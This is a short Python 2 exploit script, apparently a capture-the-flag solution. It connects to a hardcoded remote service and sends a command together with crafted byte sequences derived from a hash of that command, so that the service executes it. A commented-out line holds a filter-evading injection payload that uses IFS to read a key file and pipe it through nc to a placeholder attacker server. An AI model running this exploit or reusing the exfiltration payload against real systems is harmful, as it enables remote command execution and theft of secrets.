#!/usr/bin/env python
from socket import create_connection
from time import sleep


def func(s):
    buf = 0
    for c in s[::-1]:
        buf = (37 * (buf + ord(c))) % 2**32
    v2 = buf % 17 + 1
    v3 = (buf & 0xF) + 1
    v1 = 43 - v2 - v3
    return v1, v2, v3


if __name__ == "__main__":
    #command = "IFS=_;a=cat_key;b=nc_YOURSERVERIP_PORT;${a}|${b}"
    command="ls"
    res = func(command)
    print res

    con = create_connection(('58.229.183.18', 8181))
    print con.recv(1024)
    print con.recv(1024)
    con.send(command)
    sleep(0.1)

    a, b, c = res
    cc = c / 2
    print con.recv(1024)
    if c % 2 == 0:
        con.send("\x01"*(a-cc) + "\x02"*(b-cc) + "\x03" + "\x01\x02\x03\x03"*(cc-1) + "\x01\x02\x03" + "\n")
    else:
        con.send("\x01"*(a-cc) + "\x02"*(b-cc) + "\x03" + "\x01\x02\x03\x03"*(cc) + "\n")
    sleep(0.1)


    print con.recv(1024)
    while(1):
        sleep(1)
        ans = con.recv(1024)
        print ans
        if ans.find("[!]") != -1:
            exit(0)